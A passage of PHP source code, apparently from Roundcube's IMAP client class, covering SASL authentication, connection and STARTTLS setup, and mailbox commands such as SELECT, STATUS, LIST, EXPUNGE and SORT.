                // zero in the following three octets = no data follows.
                // See https://github.com/cyrusimap/cyrus-sasl/blob/e41cfb986c1b1935770de554872247453fdbb079/plugins/gssapi.c#L1284
                if (!$gssapicontext->wrap(pack("CCCC", 0x1, 0, 0, 0), $otoken, true)) {
                    throw new Exception("GSSAPI SASL output token wrap failed");
                }
            }
            catch (Exception $e) {
                trigger_error($e->getMessage(), E_USER_WARNING);
                return $this->setError(self::ERROR_BYE, "GSSAPI authentication failed");
            }

            $this->putLine(base64_encode($otoken));

            $line   = $this->readReply();
            $result = $this->parseResult($line);
        }
        else if ($type == 'PLAIN') {
            // proxy authorization
            if (!empty($this->prefs['auth_cid'])) {
                $authc = $this->prefs['auth_cid'];
                $pass  = $this->prefs['auth_pw'];
            }
            else {
                $authc = $user;
                $user  = '';
            }

            $reply = base64_encode($user . chr(0) . $authc . chr(0) . $pass);

            // RFC 4959 (SASL-IR): save one round trip
            if ($this->getCapability('SASL-IR')) {
                list($result, $line) = $this->execute("AUTHENTICATE PLAIN", [$reply],
                    self::COMMAND_LASTLINE | self::COMMAND_CAPABILITY | self::COMMAND_ANONYMIZED);
            }
            else {
                $this->putLine($this->nextTag() . " AUTHENTICATE PLAIN");
                $line = trim($this->readReply());

                if ($line[0] != '+') {
                    return $this->parseResult($line);
                }

                // send result, get reply and process it
                $this->putLine($reply, true, true);
                $line   = $this->readReply();
                $result = $this->parseResult($line);
            }
        }
        else if ($type == 'LOGIN') {
            $this->putLine($this->nextTag() . " AUTHENTICATE LOGIN");

            $line = trim($this->readReply());
            if ($line[0] != '+') {
                return $this->parseResult($line);
            }

            $this->putLine(base64_encode($user), true, true);

            $line = trim($this->readReply());
            if ($line[0] != '+') {
                return $this->parseResult($line);
            }

            // send result, get reply and process it
            $this->putLine(base64_encode($pass), true, true);

            $line   = $this->readReply();
            $result = $this->parseResult($line);
        }
        else if ($type == 'XOAUTH2') {
            $auth = base64_encode("user=$user\1auth=$pass\1\1");
            $this->putLine($this->nextTag() . " AUTHENTICATE XOAUTH2 $auth", true, true);

            $line = trim($this->readReply());

            if ($line[0] == '+') {
                // send empty line
                $this->putLine('', true, true);
                $line = $this->readReply();
            }

            $result = $this->parseResult($line);
        }
        else {
            $line  = 'not supported';
            $result = self::ERROR_UNKNOWN;
        }

        if ($result === self::ERROR_OK) {
            // optional CAPABILITY response
            if ($line && preg_match('/\[CAPABILITY ([^]]+)\]/i', $line, $matches)) {
                $this->parseCapability($matches[1], true);
            }

            return $this->fp;
        }

        return $this->setError($result, "AUTHENTICATE $type: $line");
    }

    /**
     * LOGIN Authentication
     *
     * @param string $user     Username
     * @param string $password Password
     *
     * @return resource|int Connection resource on success, error code on error
     */
    protected function login($user, $password)
    {
        // Prevent from sending credentials in plain text when connection is not secure
        if ($this->getCapability('LOGINDISABLED')) {
            return $this->setError(self::ERROR_BAD, "Login disabled by IMAP server");
        }

        list($code, $response) = $this->execute('LOGIN', [$this->escape($user, true), $this->escape($password, true)],
            self::COMMAND_CAPABILITY | self::COMMAND_ANONYMIZED);

        // re-set capabilities list if untagged CAPABILITY response provided
        if (preg_match('/\* CAPABILITY (.+)/i', $response, $matches)) {
            $this->parseCapability($matches[1], true);
        }

        if ($code == self::ERROR_OK) {
            return $this->fp;
        }

        return $code;
    }

    /**
     * Detects hierarchy delimiter
     *
     * @return string The delimiter
     */
    public function getHierarchyDelimiter()
    {
        if (!empty($this->prefs['delimiter'])) {
            return $this->prefs['delimiter'];
        }

        // try (LIST "" ""), should return delimiter (RFC2060 Sec 6.3.8)
        list($code, $response) = $this->execute('LIST', [$this->escape(''), $this->escape('')]);

        if ($code == self::ERROR_OK) {
            $args = $this->tokenizeResponse($response, 4);
            $delimiter = $args[3];

            if (strlen($delimiter) > 0) {
                return ($this->prefs['delimiter'] = $delimiter);
            }
        }
    }

    /**
     * NAMESPACE handler (RFC 2342)
     *
     * @return array Namespace data hash (personal, other, shared)
     */
    public function getNamespace()
    {
        if (array_key_exists('namespace', $this->prefs)) {
            return $this->prefs['namespace'];
        }

        if (!$this->getCapability('NAMESPACE')) {
            return self::ERROR_BAD;
        }

        list($code, $response) = $this->execute('NAMESPACE');

        if ($code == self::ERROR_OK && preg_match('/^\* NAMESPACE /', $response)) {
            $response = substr($response, 11);
            $data     = $this->tokenizeResponse($response);
        }

        if (!isset($data) || !is_array($data)) {
            return $code;
        }

        $this->prefs['namespace'] = [
            'personal' => $data[0],
            'other'    => $data[1],
            'shared'   => $data[2],
        ];

        return $this->prefs['namespace'];
    }

    /**
     * Connects to IMAP server and authenticates.
     *
     * @param string $host     Server hostname or IP
     * @param string $user     User name
     * @param string $password Password
     * @param array  $options  Connection and class options
     *
     * @return bool True on success, False on failure
     */
    public function connect($host, $user, $password, $options = [])
    {
        // configure
        $this->set_prefs($options);

        $this->host     = $host;
        $this->user     = $user;
        $this->logged   = false;
        $this->selected = null;

        // check input
        if (empty($host)) {
            $this->setError(self::ERROR_BAD, "Empty host");
            return false;
        }

        if (empty($user)) {
            $this->setError(self::ERROR_NO, "Empty user");
            return false;
        }

        if (empty($password) && empty($options['gssapi_cn'])) {
            $this->setError(self::ERROR_NO, "Empty password");
            return false;
        }

        // Connect
        if (!$this->_connect($host)) {
            return false;
        }

        // Send pre authentication ID info (#7860)
        if (!empty($this->prefs['preauth_ident']) && $this->getCapability('ID')) {
            $this->data['ID'] = $this->id($this->prefs['preauth_ident']);
        }

        $auth_method  = $this->prefs['auth_type'];
        $auth_methods = [];
        $result       = null;

        // check for supported auth methods
        if (!$auth_method || $auth_method == 'CHECK') {
            if ($auth_caps = $this->getCapability('AUTH')) {
                $auth_methods = $auth_caps;
            }

            // Use best (for security) supported authentication method
            $all_methods = ['DIGEST-MD5', 'CRAM-MD5', 'CRAM_MD5', 'PLAIN', 'LOGIN'];

            if (!empty($this->prefs['gssapi_cn'])) {
                array_unshift($all_methods, 'GSSAPI');
            }

            foreach ($all_methods as $auth_method) {
                if (in_array($auth_method, $auth_methods)) {
                    break;
                }
            }

            // Prefer LOGIN over AUTHENTICATE LOGIN for performance reasons
            if ($auth_method == 'LOGIN' && !$this->getCapability('LOGINDISABLED')) {
                $auth_method = 'IMAP';
            }
        }

        // pre-login capabilities can be not complete
        $this->capability_read = false;

        // Authenticate
        switch ($auth_method) {
            case 'CRAM_MD5':
                $auth_method = 'CRAM-MD5';
            case 'CRAM-MD5':
            case 'DIGEST-MD5':
            case 'GSSAPI':
            case 'PLAIN':
            case 'LOGIN':
            case 'XOAUTH2':
                $result = $this->authenticate($user, $password, $auth_method);
                break;

            case 'IMAP':
                $result = $this->login($user, $password);
                break;

            default:
                $this->setError(self::ERROR_BAD, "Configuration error. Unknown auth method: $auth_method");
        }

        // Connected and authenticated
        if (is_resource($result)) {
            if (!empty($this->prefs['force_caps'])) {
                $this->clearCapability();
            }

            $this->logged = true;

            // Send ID info after authentication to ensure reliable result (#7517)
            if (!empty($this->prefs['ident']) && $this->getCapability('ID')) {
                $this->data['ID'] = $this->id($this->prefs['ident']);
            }

            return true;
        }

        $this->closeConnection();

        return false;
    }

    /**
     * Connects to IMAP server.
     *
     * @param string $host Server hostname or IP
     *
     * @return bool True on success, False on failure
     */
    protected function _connect($host)
    {
        // initialize connection
        $this->error    = '';
        $this->errornum = self::ERROR_OK;

        $port     = empty($this->prefs['port']) ? 143 : $this->prefs['port'];
        $ssl_mode = $this->prefs['ssl_mode'] ?? null;

        // check for SSL
        if (!empty($ssl_mode) && $ssl_mode != 'tls') {
            $host = $ssl_mode . '://' . $host;
        }

        if (empty($this->prefs['timeout']) || $this->prefs['timeout'] < 0) {
            $this->prefs['timeout'] = max(0, intval(ini_get('default_socket_timeout')));
        }

        if ($this->debug) {
            // set connection identifier for debug output
            $this->resourceid = strtoupper(substr(md5(microtime() . $host . $this->user), 0, 4));

            $_host = ($ssl_mode == 'tls' ? 'tls://' : '') . $host . ':' . $port;
            $this->debug("Connecting to $_host...");
        }

        if (!empty($this->prefs['socket_options'])) {
            $options  = array_intersect_key($this->prefs['socket_options'], ['ssl' => 1]);
            $context  = stream_context_create($options);
            $this->fp = stream_socket_client($host . ':' . $port, $errno, $errstr,
                $this->prefs['timeout'], STREAM_CLIENT_CONNECT, $context);
        }
        else {
            $this->fp = @fsockopen($host, $port, $errno, $errstr, $this->prefs['timeout']);
        }

        if (!$this->fp) {
            $this->setError(self::ERROR_BAD, sprintf("Could not connect to %s:%d: %s",
                $host, $port, $errstr ?: "Unknown reason"));

            return false;
        }

        if ($this->prefs['timeout'] > 0) {
            stream_set_timeout($this->fp, $this->prefs['timeout']);
        }

        $line = trim(fgets($this->fp, 8192));

        if ($this->debug && $line) {
            $this->debug('S: '. $line);
        }

        // Connected to wrong port or connection error?
        if (!preg_match('/^\* (OK|PREAUTH)/i', $line)) {
            if ($line) {
                $error = sprintf("Wrong startup greeting (%s:%d): %s", $host, $port, $line);
            }
            else {
                $error = sprintf("Empty startup greeting (%s:%d)", $host, $port);
            }

            $this->setError(self::ERROR_BAD, $error);
            $this->closeConnection();
            return false;
        }

        $this->data['GREETING'] = trim(preg_replace('/\[[^\]]+\]\s*/', '', $line));

        // RFC3501 [7.1] optional CAPABILITY response
        if (preg_match('/\[CAPABILITY ([^]]+)\]/i', $line, $matches)) {
            $this->parseCapability($matches[1], true);
        }

        // TLS connection
        if ($ssl_mode == 'tls' && $this->getCapability('STARTTLS')) {
            $res = $this->execute('STARTTLS');

            if (empty($res) || $res[0] != self::ERROR_OK) {
                $this->closeConnection();
                return false;
            }

            if (isset($this->prefs['socket_options']['ssl']['crypto_method'])) {
                $crypto_method = $this->prefs['socket_options']['ssl']['crypto_method'];
            }
            else {
                // There is no flag to enable all TLS methods. Net_SMTP
                // handles enabling TLS similarly.
                $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT
                    | @STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
                    | @STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            }

            if (!stream_socket_enable_crypto($this->fp, true, $crypto_method)) {
                $this->setError(self::ERROR_BAD, "Unable to negotiate TLS");
                $this->closeConnection();
                return false;
            }

            // Now we're secure, capabilities need to be reread
            $this->clearCapability();
        }

        return true;
    }

    /**
     * Initializes environment
     */
    protected function set_prefs($prefs)
    {
        // set preferences
        if (is_array($prefs)) {
            $this->prefs = $prefs;
        }

        // set auth method
        if (!empty($this->prefs['auth_type'])) {
            $this->prefs['auth_type'] = strtoupper($this->prefs['auth_type']);
        }
        else {
            $this->prefs['auth_type'] = 'CHECK';
        }

        // disabled capabilities
        if (!empty($this->prefs['disabled_caps'])) {
            $this->prefs['disabled_caps'] = array_map('strtoupper', (array)$this->prefs['disabled_caps']);
        }

        // additional message flags
        if (!empty($this->prefs['message_flags'])) {
            $this->flags = array_merge($this->flags, $this->prefs['message_flags']);
            unset($this->prefs['message_flags']);
        }
    }

    /**
     * Checks connection status
     *
     * @return bool True if connection is active and user is logged in, False otherwise.
     */
    public function connected()
    {
        return $this->fp && $this->logged;
    }

    /**
     * Closes connection with logout.
     */
    public function closeConnection()
    {
        if ($this->logged && $this->putLine($this->nextTag() . ' LOGOUT')) {
            $this->readReply();
        }

        $this->closeSocket();
        $this->clearCapability();
    }

    /**
     * Executes SELECT command (if mailbox is already not in selected state)
     *
     * @param string $mailbox      Mailbox name
     * @param array  $qresync_data QRESYNC data (RFC5162)
     *
     * @return bool True on success, false on error
     */
    public function select($mailbox, $qresync_data = null)
    {
        if (!strlen($mailbox)) {
            return false;
        }

        if ($this->selected === $mailbox) {
            return true;
        }

        $params = [$this->escape($mailbox)];

        // QRESYNC data items
        //    0. the last known UIDVALIDITY,
        //    1. the last known modification sequence,
        //    2. the optional set of known UIDs, and
        //    3. an optional parenthesized list of known sequence ranges and their
        //       corresponding UIDs.
        if (!empty($qresync_data)) {
            if (!empty($qresync_data[2])) {
                $qresync_data[2] = self::compressMessageSet($qresync_data[2]);
            }

            $params[] = ['QRESYNC', $qresync_data];
        }

        list($code, $response) = $this->execute('SELECT', $params);

        if ($code == self::ERROR_OK) {
            $this->clear_mailbox_cache();

            $response = explode("\r\n", $response);
            foreach ($response as $line) {
                if (preg_match('/^\* OK \[/i', $line)) {
                    $pos   = strcspn($line, ' ]', 6);
                    $token = strtoupper(substr($line, 6, $pos));
                    $pos   += 7;

                    switch ($token) {
                    case 'UIDNEXT':
                    case 'UIDVALIDITY':
                    case 'UNSEEN':
                        if ($len = strspn($line, '0123456789', $pos)) {
                            $this->data[$token] = (int) substr($line, $pos, $len);
                        }
                        break;

                    case 'HIGHESTMODSEQ':
                        if ($len = strspn($line, '0123456789', $pos)) {
                            $this->data[$token] = (string) substr($line, $pos, $len);
                        }
                        break;

                    case 'NOMODSEQ':
                        $this->data[$token] = true;
                        break;

                    case 'PERMANENTFLAGS':
                        $start = strpos($line, '(', $pos);
                        $end   = strrpos($line, ')');
                        if ($start && $end) {
                            $flags = substr($line, $start + 1, $end - $start - 1);
                            $this->data[$token] = explode(' ', $flags);
                        }
                        break;
                    }
                }
                else if (preg_match('/^\* ([0-9]+) (EXISTS|RECENT|FETCH)/i', $line, $match)) {
                    $token = strtoupper($match[2]);
                    switch ($token) {
                    case 'EXISTS':
                    case 'RECENT':
                        $this->data[$token] = (int) $match[1];
                        break;

                    case 'FETCH':
                        // QRESYNC FETCH response (RFC5162)
                        $line       = substr($line, strlen($match[0]));
                        $fetch_data = $this->tokenizeResponse($line, 1);
                        $data       = ['id' => $match[1]];

                        for ($i=0, $size=count($fetch_data); $i<$size; $i+=2) {
                            $data[strtolower($fetch_data[$i])] = $fetch_data[$i+1];
                        }

                        $this->data['QRESYNC'][$data['uid']] = $data;
                        break;
                    }
                }
                // QRESYNC VANISHED response (RFC5162)
                else if (preg_match('/^\* VANISHED [()EARLIER]*/i', $line, $match)) {
                    $line   = substr($line, strlen($match[0]));
                    $v_data = $this->tokenizeResponse($line, 1);

                    $this->data['VANISHED'] = $v_data;
                }
            }

            $this->data['READ-WRITE'] = $this->resultcode != 'READ-ONLY';
            $this->selected = $mailbox;

            return true;
        }

        return false;
    }

    /**
     * Executes STATUS command
     *
     * @param string $mailbox Mailbox name
     * @param array  $items   Additional requested item names. By default
     *                        MESSAGES and UNSEEN are requested. Other defined
     *                        in RFC3501: UIDNEXT, UIDVALIDITY, RECENT
     *
     * @return array Status item-value hash
     * @since 0.5-beta
     */
    public function status($mailbox, $items = [])
    {
        if (!strlen($mailbox)) {
            return false;
        }

        if (!in_array('MESSAGES', $items)) {
            $items[] = 'MESSAGES';
        }
        if (!in_array('UNSEEN', $items)) {
            $items[] = 'UNSEEN';
        }

        list($code, $response) = $this->execute('STATUS',
            [$this->escape($mailbox), '(' . implode(' ', $items) . ')'], 0, '/^\* STATUS /i');

        if ($code == self::ERROR_OK && $response) {
            $result   = [];
            $response = substr($response, 9); // remove prefix "* STATUS "

            list($mbox, $items) = $this->tokenizeResponse($response, 2);

            // Fix for #1487859. Some buggy server returns not quoted
            // folder name with spaces. Let's try to handle this situation
            if (!is_array($items) && ($pos = strpos($response, '(')) !== false) {
                $response = substr($response, $pos);
                $items    = $this->tokenizeResponse($response, 1);
            }

            if (!is_array($items)) {
                return $result;
            }

            for ($i=0, $len=count($items); $i<$len; $i += 2) {
                $result[$items[$i]] = $items[$i+1];
            }

            $this->data['STATUS:'.$mailbox] = $result;

            return $result;
        }

        return false;
    }

    /**
     * Executes EXPUNGE command
     *
     * @param string       $mailbox  Mailbox name
     * @param string|array $messages Message UIDs to expunge
     *
     * @return bool True on success, False on error
     */
    public function expunge($mailbox, $messages = null)
    {
        if (!$this->select($mailbox)) {
            return false;
        }

        if (empty($this->data['READ-WRITE'])) {
            $this->setError(self::ERROR_READONLY, "Mailbox is read-only");
            return false;
        }

        // Clear internal status cache
        $this->clear_status_cache($mailbox);

        if (!empty($messages) && $messages != '*' && $this->hasCapability('UIDPLUS')) {
            $messages = self::compressMessageSet($messages);
            $result   = $this->execute('UID EXPUNGE', [$messages], self::COMMAND_NORESPONSE);
        }
        else {
            $result = $this->execute('EXPUNGE', null, self::COMMAND_NORESPONSE);
        }

        if ($result == self::ERROR_OK) {
            $this->selected = null; // state has changed, need to reselect
            return true;
        }

        return false;
    }

    /**
     * Executes CLOSE command
     *
     * @return bool True on success, False on error
     * @since 0.5
     */
    public function close()
    {
        $result = $this->execute('CLOSE', null, self::COMMAND_NORESPONSE);

        if ($result == self::ERROR_OK) {
            $this->selected = null;
            return true;
        }

        return false;
    }

    /**
     * Folder subscription (SUBSCRIBE)
     *
     * @param string $mailbox Mailbox name
     *
     * @return bool True on success, False on error
     */
    public function subscribe($mailbox)
    {
        $result = $this->execute('SUBSCRIBE', [$this->escape($mailbox)], self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Folder unsubscription (UNSUBSCRIBE)
     *
     * @param string $mailbox Mailbox name
     *
     * @return bool True on success, False on error
     */
    public function unsubscribe($mailbox)
    {
        $result = $this->execute('UNSUBSCRIBE', [$this->escape($mailbox)], self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Folder creation (CREATE)
     *
     * @param string $mailbox Mailbox name
     * @param array  $types   Optional folder types (RFC 6154)
     *
     * @return bool True on success, False on error
     */
    public function createFolder($mailbox, $types = null)
    {
        $args = [$this->escape($mailbox)];

        // RFC 6154: CREATE-SPECIAL-USE
        if (!empty($types) && $this->getCapability('CREATE-SPECIAL-USE')) {
            $args[] = '(USE (' . implode(' ', $types) . '))';
        }

        $result = $this->execute('CREATE', $args, self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Folder renaming (RENAME)
     *
     * @param string $from Mailbox name
     * @param string $to   Mailbox name
     *
     * @return bool True on success, False on error
     */
    public function renameFolder($from, $to)
    {
        $result = $this->execute('RENAME', [$this->escape($from), $this->escape($to)], self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Executes DELETE command
     *
     * @param string $mailbox Mailbox name
     *
     * @return bool True on success, False on error
     */
    public function deleteFolder($mailbox)
    {
        // Unselect the folder to prevent "BYE Fatal error: Mailbox has been (re)moved" on Cyrus IMAP
        if ($this->selected === $mailbox && $this->hasCapability('UNSELECT')) {
            $this->execute('UNSELECT', [], self::COMMAND_NORESPONSE);
        }

        $result = $this->execute('DELETE', [$this->escape($mailbox)], self::COMMAND_NORESPONSE);

        return $result == self::ERROR_OK;
    }

    /**
     * Removes all messages in a folder
     *
     * @param string $mailbox Mailbox name
     *
     * @return bool True on success, False on error
     */
    public function clearFolder($mailbox)
    {
        if ($this->countMessages($mailbox) > 0) {
            $res = $this->flag($mailbox, '1:*', 'DELETED');
        }
        else {
            return true;
        }

        if (!empty($res)) {
            if ($this->selected === $mailbox) {
                $res = $this->close();
            }
            else {
                $res = $this->expunge($mailbox);
            }

            return $res;
        }

        return false;
    }

    /**
     * Returns list of mailboxes
     *
     * @param string $ref         Reference name
     * @param string $mailbox     Mailbox name
     * @param array  $return_opts (see self::_listMailboxes)
     * @param array  $select_opts (see self::_listMailboxes)
     *
     * @return array|bool List of mailboxes or hash of options if STATUS/MYRIGHTS response
     *                    is requested, False on error.
     */
    public function listMailboxes($ref, $mailbox, $return_opts = [], $select_opts = [])
    {
        return $this->_listMailboxes($ref, $mailbox, false, $return_opts, $select_opts);
    }

    /**
     * Returns list of subscribed mailboxes
     *
     * @param string $ref         Reference name
     * @param string $mailbox     Mailbox name
     * @param array  $return_opts (see self::_listMailboxes)
     *
     * @return array|bool List of mailboxes or hash of options if STATUS/MYRIGHTS response
     *                    is requested, False on error.
     */
    public function listSubscribed($ref, $mailbox, $return_opts = [])
    {
        return $this->_listMailboxes($ref, $mailbox, true, $return_opts, null);
    }

    /**
     * IMAP LIST/LSUB command
     *
     * @param string $ref         Reference name
     * @param string $mailbox     Mailbox name
     * @param bool   $subscribed  Enables returning subscribed mailboxes only
     * @param array  $return_opts List of RETURN options (RFC5819: LIST-STATUS, RFC5258: LIST-EXTENDED)
     *                            Possible: MESSAGES, RECENT, UIDNEXT, UIDVALIDITY, UNSEEN,
     *                                      MYRIGHTS, SUBSCRIBED, CHILDREN
     * @param array  $select_opts List of selection options (RFC5258: LIST-EXTENDED)
     *                            Possible: SUBSCRIBED, RECURSIVEMATCH, REMOTE,
     *                                      SPECIAL-USE (RFC6154)
     *
     * @return array|bool List of mailboxes or hash of options if STATUS/MYRIGHTS response
     *                    is requested, False on error.
     */
    protected function _listMailboxes($ref, $mailbox, $subscribed = false, $return_opts = [], $select_opts = [])
    {
        if (!strlen($mailbox)) {
            $mailbox = '*';
        }

        $lstatus = false;
        $args    = [];
        $rets    = [];

        if (!empty($select_opts) && $this->getCapability('LIST-EXTENDED')) {
            $select_opts = (array) $select_opts;

            $args[] = '(' . implode(' ', $select_opts) . ')';
        }

        $args[] = $this->escape($ref);
        $args[] = $this->escape($mailbox);

        if (!empty($return_opts) && $this->getCapability('LIST-EXTENDED')) {
            $ext_opts    = ['SUBSCRIBED', 'CHILDREN'];
            $rets        = array_intersect($return_opts, $ext_opts);
            $return_opts = array_diff($return_opts, $rets);
        }

        if (!empty($return_opts) && $this->getCapability('LIST-STATUS')) {
            $lstatus     = true;
            $status_opts = ['MESSAGES', 'RECENT', 'UIDNEXT', 'UIDVALIDITY', 'UNSEEN', 'SIZE'];
            $opts        = array_diff($return_opts, $status_opts);
            $status_opts = array_diff($return_opts, $opts);

            if (!empty($status_opts)) {
                $rets[] = 'STATUS (' . implode(' ', $status_opts) . ')';
            }

            if (!empty($opts)) {
                $rets = array_merge($rets, $opts);
            }
        }

        if (!empty($rets)) {
            $args[] = 'RETURN (' . implode(' ', $rets) . ')';
        }

        list($code, $response) = $this->execute($subscribed ? 'LSUB' : 'LIST', $args);

        if ($code == self::ERROR_OK) {
            $folders  = [];
            $last     = 0;
            $pos      = 0;
            $response .= "\r\n";

            while ($pos = strpos($response, "\r\n", $pos+1)) {
                // literal string, not real end-of-command-line
                if ($response[$pos-1] == '}') {
                    continue;
                }

                $line = substr($response, $last, $pos - $last);
                $last = $pos + 2;

                if (!preg_match('/^\* (LIST|LSUB|STATUS|MYRIGHTS) /i', $line, $m)) {
                    continue;
                }

                $cmd  = strtoupper($m[1]);
                $line = substr($line, strlen($m[0]));

                // * LIST (<options>) <delimiter> <mailbox>
                if ($cmd == 'LIST' || $cmd == 'LSUB') {
                    list($opts, $delim, $mailbox) = $this->tokenizeResponse($line, 3);

                    // Remove redundant separator at the end of folder name, UW-IMAP bug? (#1488879)
                    if ($delim) {
                        $mailbox = rtrim($mailbox, $delim);
                    }

                    // Make it easier for the client to deal with INBOX folder
                    // by always returning the word with all capital letters
                    if (strlen($mailbox) == 5
                        && ($mailbox[0] == 'i' || $mailbox[0] == 'I')
                        && ($mailbox[1] == 'n' || $mailbox[1] == 'N')
                        && ($mailbox[2] == 'b' || $mailbox[2] == 'B')
                        && ($mailbox[3] == 'o' || $mailbox[3] == 'O')
                        && ($mailbox[4] == 'x' || $mailbox[4] == 'X')
                    ) {
                        $mailbox = 'INBOX';
                    }

                    // Add to result array
                    if (!$lstatus) {
                        $folders[] = $mailbox;
                    }
                    else {
                        $folders[$mailbox] = [];
                    }

                    // store folder options
                    if ($cmd == 'LIST') {
                        // Add to options array
                        if (empty($this->data['LIST'][$mailbox])) {
                            $this->data['LIST'][$mailbox] = $opts;
                        }
                        else if (!empty($opts)) {
                            $this->data['LIST'][$mailbox] = array_unique(array_merge(
                                $this->data['LIST'][$mailbox], $opts));
                        }
                    }
                }
                else if ($lstatus) {
                    // * STATUS <mailbox> (<result>)
                    if ($cmd == 'STATUS') {
                        list($mailbox, $status) = $this->tokenizeResponse($line, 2);

                        for ($i=0, $len=count($status); $i<$len; $i += 2) {
                            list($name, $value) = $this->tokenizeResponse($status, 2);
                            $folders[$mailbox][$name] = $value;
                        }
                    }
                    // * MYRIGHTS <mailbox> <acl>
                    else if ($cmd == 'MYRIGHTS') {
                        list($mailbox, $acl)  = $this->tokenizeResponse($line, 2);
                        $folders[$mailbox]['MYRIGHTS'] = $acl;
                    }
                }
            }

            return $folders;
        }

        return false;
    }

    /**
     * Returns count of all messages in a folder
     *
     * @param string $mailbox Mailbox name
     *
     * @return int Number of messages, False on error
     */
    public function countMessages($mailbox)
    {
        if ($this->selected === $mailbox && isset($this->data['EXISTS'])) {
            return $this->data['EXISTS'];
        }

        // Check internal cache
        if (!empty($this->data['STATUS:'.$mailbox])) {
            $cache = $this->data['STATUS:'.$mailbox];
            if (isset($cache['MESSAGES'])) {
                return (int) $cache['MESSAGES'];
            }
        }

        // Try STATUS (should be faster than SELECT)
        $counts = $this->status($mailbox);
        if (is_array($counts)) {
            return (int) $counts['MESSAGES'];
        }

        return false;
    }

    /**
     * Returns count of messages with \Recent flag in a folder
     *
     * @param string $mailbox Mailbox name
     *
     * @return int Number of messages, False on error
     */
    public function countRecent($mailbox)
    {
        if ($this->selected === $mailbox && isset($this->data['RECENT'])) {
            return $this->data['RECENT'];
        }

        // Check internal cache
        $cache = $this->data['STATUS:'.$mailbox];
        if (!empty($cache) && isset($cache['RECENT'])) {
            return (int) $cache['RECENT'];
        }

        // Try STATUS (should be faster than SELECT)
        $counts = $this->status($mailbox, ['RECENT']);
        if (is_array($counts)) {
            return (int) $counts['RECENT'];
        }

        return false;
    }

    /**
     * Returns count of messages without \Seen flag in a specified folder
     *
     * @param string $mailbox Mailbox name
     *
     * @return int Number of messages, False on error
     */
    public function countUnseen($mailbox)
    {
        // Check internal cache
        if (!empty($this->data['STATUS:'.$mailbox])) {
            $cache = $this->data['STATUS:'.$mailbox];
            if (isset($cache['UNSEEN'])) {
                return (int) $cache['UNSEEN'];
            }
        }

        // Try STATUS (should be faster than SELECT+SEARCH)
        $counts = $this->status($mailbox);
        if (is_array($counts)) {
            return (int) $counts['UNSEEN'];
        }

        // Invoke SEARCH as a fallback
        $index = $this->search($mailbox, 'ALL UNSEEN', false, ['COUNT']);
        if (!$index->is_error()) {
            return $index->count();
        }

        return false;
    }

    /**
     * Executes ID command (RFC2971)
     *
     * @param array $items Client identification information key/value hash
     *
     * @return array|false Server identification information key/value hash, False on error
     * @since 0.6
     */
    public function id($items = [])
    {
        if (is_array($items) && !empty($items)) {
            foreach ($items as $key => $value) {
                $args[] = $this->escape($key, true);
                $args[] = $this->escape($value, true);
            }
        }

        list($code, $response) = $this->execute('ID',
            [!empty($args) ? '(' . implode(' ', (array) $args) . ')' : $this->escape(null)],
            0, '/^\* ID /i'
        );

        if ($code == self::ERROR_OK && $response) {
            $response = substr($response, 5); // remove prefix "* ID "
            $items    = $this->tokenizeResponse($response, 1);
            $result   = [];

            if (is_array($items)) {
                for ($i=0, $len=count($items); $i<$len; $i += 2) {
                    $result[$items[$i]] = $items[$i+1];
                }
            }

            return $result;
        }

        return false;
    }

    /**
     * Executes ENABLE command (RFC5161)
     *
     * @param mixed $extension Extension name to enable (or array of names)
     *
     * @return array|bool List of enabled extensions, False on error
     * @since 0.6
     */
    public function enable($extension)
    {
        if (empty($extension)) {
            return false;
        }

        if (!$this->hasCapability('ENABLE')) {
            return false;
        }

        if (!is_array($extension)) {
            $extension = [$extension];
        }

        if (!empty($this->extensions_enabled)) {
            // check if all extensions are already enabled
            $diff = array_diff($extension, $this->extensions_enabled);

            if (empty($diff)) {
                return $extension;
            }

            // Make sure the mailbox isn't selected, before enabling extension(s)
            if ($this->selected !== null) {
                $this->close();
            }
        }

        list($code, $response) = $this->execute('ENABLE', $extension, 0, '/^\* ENABLED /i');

        if ($code == self::ERROR_OK && $response) {
            $response = substr($response, 10); // remove prefix "* ENABLED "
            $result   = (array) $this->tokenizeResponse($response);

            $this->extensions_enabled = array_unique(array_merge((array)$this->extensions_enabled, $result));

            return $this->extensions_enabled;
        }

        return false;
    }

    /**
     * Executes SORT command
     *
     * @param string $mailbox    Mailbox name
     * @param string $field      Field to sort by (ARRIVAL, CC, DATE, FROM, SIZE, SUBJECT, TO)
     * @param string $criteria   Searching criteria
     * @param bool   $return_uid Enables UID SORT usage
     * @param string $encoding   Character set
     *
     * @return rcube_result_index Response data
     */
    public function sort($mailbox, $field = 'ARRIVAL', $criteria = '', $return_uid = false, $encoding = 'US-ASCII')
    {
        $old_sel   = $this->selected;
        $supported = ['ARRIVAL', 'CC', 'DATE', 'FROM', 'SIZE', 'SUBJECT', 'TO'];
        $field     = strtoupper($field);

        if ($field == 'INTERNALDATE') {
            $field = 'ARRIVAL';
        }

        if (!in_array($field, $supported)) {
            return new rcube_result_index($mailbox);
        }

        if (!$this->select($mailbox)) {
            return new rcube_result_index($mailbox);
        }

        // return empty result when folder is empty and we're just after SELECT
        if ($old_sel != $mailbox && empty($this->data['EXISTS'])) {
            return new rcube_result_index($mailbox, '* SORT');
        }

        // RFC 5957: SORT=DISPLAY
        if (($field == 'FROM' || $field == 'TO') && $this->getCapability('SORT=DISPLAY')) {
            $field = 'DISPLAY' . $field;
        }

        $encoding = $encoding ? trim($encoding) : 'US-ASCII';
        $criteria = $criteria ? 'ALL ' . trim($criteria) : 'ALL';

        list($code, $response) = $this->execute($return_uid ? 'UID SORT' : 'SORT',
            ["($field)", $encoding, $criteria]);

        if ($code != self::ERROR_OK) {
            $response = null;
        }

        return new rcube_result_index($mailbox, $response);
    }

    /**
     * Executes THREAD command
     *
     * @param string $mailbox    Mailbox name
     * @param string $algorithm  Threading algorithm (ORDEREDSUBJECT, REFERENCES, REFS)
     * @param string $criteria   Searching criteria
     * @param bool   $return_uid Enables UIDs in result instead of sequence numbers
     * @param string $encoding   Character set
     *
     * @return rcube_result_thread Thread data
     */
